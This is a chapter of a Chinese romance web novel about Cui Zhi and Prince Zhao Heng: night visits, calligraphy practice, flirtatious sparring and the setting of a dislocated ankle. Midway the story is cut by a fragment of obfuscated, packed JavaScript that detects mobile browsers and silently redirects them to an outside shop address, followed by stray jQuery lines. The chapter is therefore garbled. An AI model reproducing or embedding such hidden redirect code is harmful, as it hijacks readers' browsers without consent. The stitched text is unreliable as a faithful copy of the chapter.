崔执趴了整整七日,才终于敢坐凳子。
这期间赵珩几乎每夜都会来翻崔执特意留出的窗子,吓得画眉整宿整宿地守夜,生怕叫人发觉。
熬得作息都颠倒了。
不过,或许是觉得羞耻、或许是顾及崔执的身子,两人那次之后就没再闹出过什么大动静。
赵珩每次过来,就只是单纯地陪着崔执。
这日也不例外。
听到窗子响,崔执头也不抬地随口抱怨:“我这窗户都被‘踩’坏了,郡王殿下赔不赔呀?”
赵珩装作没听见,脚步无声地靠近,从背后抱住人,深嗅他发丝,感叹:“好香。”
崔执用小腿蹬了他一下,头自始至终都没从书卷笔墨中抬起来过。
这几日留灯,对外他只宣称为了内试“挑灯夜读”,大房那边盯他的人很有危机感,以至于这几日白日里见到崔珏,这人都是顶着两个浓重的黑眼圈的。
想起这个,崔执就有点想笑。
“笑什么?”赵珩专注地看着他,嘴角勾起的那点弧度自然没能逃过这人法眼。他粗粝的手掌攥着崔执下巴抬起来,看着人晶亮的眼睛,指腹捻上那红艳欲滴的唇,重重摩擦了一下,板着脸审问:“是不是觉得你男人很好笑?”
“你不好笑么?”崔执垮起小脸故意道。
说完,他若有所思地瞥向秃了一块的檀木花窗,又看了看赵珩下巴上的淤青。
窗子上是前日赵珩来寻他时,脚底打滑,下巴磕在上面磕坏的,这人脸都磕破相了,仗着黑灯瞎火,以为崔执没瞧见,谎话张口就来,只说是不小心摔的。
结果当时崔执一张口,“我知道,扒人家窗子偷看人家换衣,一激动就摔到了窗框上,王爷真不愧是‘梁上君子’……”
赵珩:“……”
提及此事,赵珩果然恼怒,掰着他的脸让人只能看自己,“弄坏你一块窗子,念叨几遍了?我赔你就是了!”
“怎么赔?”崔执翘着唇角,用脚勾着他小腿,听到赵珩加重的呼吸声,趁人不备,陡然用力,勾得赵珩哐当一声砸在地上,摔得呲牙咧嘴。
他顺势骑上去,玉白的手掐在赵珩脸上,拧了一下,颊侧顿时红了一块。
“谁准你偷看我换衣裳的?!”崔执瞬间变脸,带着怒声质问。
赵珩这三日都没得他什么好脸色,见人还憋着气,有些心虚地移开目光。
他知道崔执气什么。
前日摔得太大声,引得崔家家丁以为闹了贼,提着灯满院子搜,如不是门外那个侍女帮着圆谎,这奸情就得闹得人尽皆知了。
崔大公子的清白差点毁了,能不气吗?
赵小郡王一边想着:下回过来得从库里挑点金首饰贿赂一下守门侍女,一边举起双手以示投降,“那我下次光明正大的看?”
啪!
崔执气急败坏地赏他一巴掌,打完,嫌弃地站起身,揉了揉酸胀的腕子。
赵珩那一脸回味的表情,着实让人不忍直视。
“今夜不许打搅我,有正事。”崔执提前警告。
堂弟那么用功读书,崔执都不好意思继续这么不务正业下去了,便窝在房里练了一下午的字,写得手腕都酸了。
桌案上还叠着他写过字的宣纸,纸上字迹遒丽、走笔如龙,不像少年人的水平。
崔执准备写一摞,然后送到族学,以先生的性子,定会在人前时常念叨,到时传到了崔大爷耳朵里,他这位堂弟就更别想睡个好觉了。
人在使坏的时候总是格外有精神,他丝毫不觉活了二十七年的自己去欺负十六岁的堂弟有什么不对,前几日崔珏还假惺惺的送药,来看他笑话。
礼尚往来而已。
他挺直脊背坐在案前练字,赵珩百无聊赖。
平南郡王平生能看进去的字就只有风月话本,话本子写得太文绉绉的他都不乐意看,崔执抄的《论语》,虽是幼儿启蒙,他看着也是一知半解,眼神都不在字上,满眼都是那只细瘦苍白、骨节分明的手。
这只手握在自己身上时——
“赵珩!”崔执带着怒唤了一声。
赵珩方才回神,发现自己的手不知何时已经贴上了崔执的腰,差一点就扯掉了雪白中衣上的系带。
“你要是闲得厉害,就帮我磨墨,少动手动脚!”崔执怒道。
他若是个大姑娘,早报官将这下流胚子抓起来了!
赵珩于是不舍地收回手,老老实实抓起墨条,加了水摁在砚台上磨。
他手劲大,磨得也快,崔执写着写着就发现不对劲了——磨这么多,他一宿也写不完了。
崔家规矩多,其中有一条便是不可浪费纸墨,开了胶封的宣纸必须在坏掉前用完,墨汁也得磨多少用多少。
尽管即便浪费也不会叫人知道便是了,崔执却这么做习惯了,看到溢出来的墨汁,他鼓着腮默默生起了闷气。
赵珩反应过来,端起砚台就要往笔洗里倒,“爷给你倒成了吧,这总不能再算在你身上吧?”
崔执按住他,忽然有了主意。
赵珩直觉不妙。
只见他从笔架又解了支笔下来,润了润,塞到了赵珩手里,“我拆的宣纸要黄了,你也练练字?”
“还是——”
崔执瞪他一眼,赵珩立马顺着他道:“还是崔郎体贴!”
崔执才满意别过头,专心抄书。
赵珩拉了个椅子坐在他身侧,认命地握着笔,在纸上写写画画。
少时父母从不管他读书,也没请过先生到府上教,十二岁时被圣人发现他竟不识字,直接下谕斥责了他父母失职,又召他进国子监上学。
学了两年,赵珩堪堪认全了大部分汉字,就不乐意在学堂待了,乐滋滋的请旨进了南营。
现在偶尔能引经据典几句,还是那几年崔执教得他。
赵珩悟性很高,用心临崔执的字,能有个七八分形似。崔执知他对儒家书籍不感兴趣,翻了卷篆文兵书出来,抄成汉文给他摹。
“你还看这个?”赵珩奇道,“我以为你只喜欢看一些四书五经之类的。”
“我只喜欢看话本。”崔执不屑道。
他很不喜欢读书,幼时能为了不去学堂,哭得族中兄弟姊妹都来围着他瞧,后来大些了,懂得收敛了,背地里也没少偷懒。
没被发觉,全仰赖他自小看什么都过目不忘的本领。
赵珩有些相识恨晚了,懊悔没早点认识崔执,没见识过这人哭着耍赖、背地里躲懒的可爱模样。
前世崔执总是手不释卷,谁能想到,他竟也不爱看书?
“不爱看就不看,还抄什么?”赵珩作势要收走纸笔,被崔执拎着笔杆子在手背上敲了一下,
“再有月余就要内试了,荫官本就为正统所不齿,我总不能再丢了崔家的人。”
赵珩更是不解:“那你为何不走科举,崔探花郎?”
这人可是差一点就连中三元啊,根本不必担心考不考得中的问题。
崔执当然有数,但他还是想早日入朝。
父亲当值时病逝,旁人或许不知,只有崔执知道,根本不是病逝,而是中毒,中的与他前世一般无二的毒。
那毒极为隐蔽,就连大夫都诊不出来,若非那个下毒的丫鬟临死前吐露,崔执都想不到。
走科举的路子需得三年,来不及了,想要阻止此事发生,唯有早些入朝,防患于未然。
只要父亲还在,那人暂时便不会动崔家,一切就都还有转机。
崔执闭了闭眼眼,突然侧身,靠在赵珩肩上。
感觉到一个毛绒绒的脑袋蹭过来,赵珩浑身鸡皮疙瘩都起来了,侧头嗅着清淡的皂角香,深深吸气,才克制住想把人摁倒的欲望。
“别撒娇。”他忍辱负重地轻轻推了推。
崔执不满,揪着他垂下来的发丝不轻不重薅了一把,又心安理得的靠过去,“谁撒娇啦?!”
“我练字!练字总行了吧?”赵珩投降。
靠这么近,万一被发现那啥了,他又得挨扇。
赵珩不禁怀念起自己当家做主的日子,想要就要,崔容玉只有哭着求饶的份儿。
赵珩咂摸了下嘴。
“那这十张纸你就写满吧,不准写大字。”崔执把纸分了一半给他,这样,自己今晚就只需要写十页了。
他写得快,一个多时辰就能写满,倒是赵珩,照着他写的一个字一个字的临摹,估计得抄一宿了。
赵珩在国子监两年都没写过这么多字,此刻却不敢有任何意见。崔执存心要折腾他,除了受着,还能如何?
“你的字好丑。”写了一会儿,崔执凑过去撇了眼,嫌弃道:“照着帖子画,笔顺都不对,我七岁就不这么写字了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297331|198594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“虽说执笔无定法,但你快要把笔杆子掐断了。”
“上好的兼毫是给你这么糟蹋的?!”
一句接着一句,崔执搁笔,拍了下桌子,“哪有你这么写字的?简直浪费笔墨!”
赵珩依葫芦画瓢画完一个“阵”字,很是无辜,“那要怎么写,崔郎握着我的手写?”
国子监上学那两年他都是三天打鱼两天晒网过去的,勉强识全常见字,能读懂书信,就学不下去了。
赵珩心思不在这上头,自然与崔执这种三岁能诗五岁能文的世家公子没得比,唯一拿得出手的,也就是一身跟着名师学下来的武艺了。
他正思索着怎能逃过去,崔执突然动了。
“握笔松一点,雪竹笔杆中空,经不起你这么捏。”清瘦的少年抬着腕子去握他的手,触感温凉。
崔执的手比赵珩小太多,握了半天,握不住,正想去捏笔杆上方,忽然被另一只手覆上来,按着不许他松开。
崔执:“?”
“不是你要这么写的吗?”
赵珩蛮横道:“你得握着我的手,不然怎么写?”
“你怎么不干脆让我握着你的□□?!”崔执看出来了,这人不是想写字,就只是单纯的想耍流氓。
赵珩顿时大喜:“也行——”
崔执于是伸手,隔空抓了一下,作势要用力捏爆,就被赵珩眼疾手快地扣住,放在唇边亲了下。
“还是别了,捏坏了你以后用什么?”他作出一脸后怕的模样,用脸轻蹭温凉的掌心。
崔执气结,咬牙切齿:“我用你大爷。”
赵珩顺着他的话,装作惊恐,欠道:“我大爷严格来说应该是禁庭里那位,没想到崔郎看着眉清目秀,竟然好这口?”
“赵珩!!”
“在呢——”赵珩拉长腔应声。
“下流!”崔执怒骂。
赵珩大声喊冤,表现的颇为无辜,“我冤呐,分明是崔郎君先提的下三路,怎么就是我下流了呢?”
崔执抬手要打,赵珩立即把脸伸了过去,指了指:“这边。”
崔执放下手,斜了他一眼,启唇攻击他最薄弱的地方:“赵珩,你知不知道,你那方面活-很-烂——?”
他刻意加重后面几个字。
“很烂?”赵珩神情间流露出不可置信。
他分明是话本子里形容的那种,高大威猛、金枪不倒、狐狸精都争着与他春宵一度的男人,怎么就烂了?
赵珩很是不服,拉着崔执就要证明自己,被毫不留情的一巴掌拍开,只能委委屈屈地蹲在墙角,缩成一大坨。
“你要多读书,才能有所进步。”崔执勾唇,慢悠悠踱步过去,拍了拍他的脑袋,“书中自有黄金屋,书中自有颜如玉——啊!”
他突然惊叫。
地上不知何时空出来一块方方正正的砖坑,烛火昏暗,崔执一脚直直踩了进去!
反应过来时,右脚脚踝已然肿成了猪蹄。
“你、给、我、滚!”
握着砖块的赵珩没滚,心虚地把人抱回床上,覆掌上去揉,低声道:“脱臼了,我帮你接回去。”
崔执眼里泛着泪花摇头。
前世这人动手接骨的滋味,他至今还记得,实乃生命不可承受之痛!
“很快的,一下就好了,你咬着方巾?或者咬我也行?”赵珩伸手去碰他脚踝,被抓着衣袖扯回来,见崔执痛得直掉泪,只能搂着人轻哄:“接回去就不疼了,忍着点,嗯?”
崔执委屈地抓咬他手臂,略微动了动脚,立马痛得白了脸。
踝骨错位,不想做个瘸子,就必须要接骨。
正是有这个认知,崔执才更觉委屈。
感觉到嘴里被塞了块方巾,崔执登时吓得瞪大双眼。紧接着,“嘎巴”一声,接骨的剧痛直冲天灵盖。
崔执咬紧方巾,好悬没惨叫出声。
仅仅这一瞬,便痛出了一身冷汗。
缓过来,崔执吐掉方巾,小声呜咽着推搡赵珩,余光瞥见被他抠下来之后顺手放到矮柜上的地砖,更是气得不轻。
“再动剁手!”他自以为凶狠地威胁了句,带着哭腔,勾得人心猿意马。
“不动。”赵珩翻出青瓷罐,挖了点用剩下的药霜放在掌心搓热,轻轻揉上去。
崔执侧坐在他腿上,手臂勾着人脖颈,轻轻颤栗。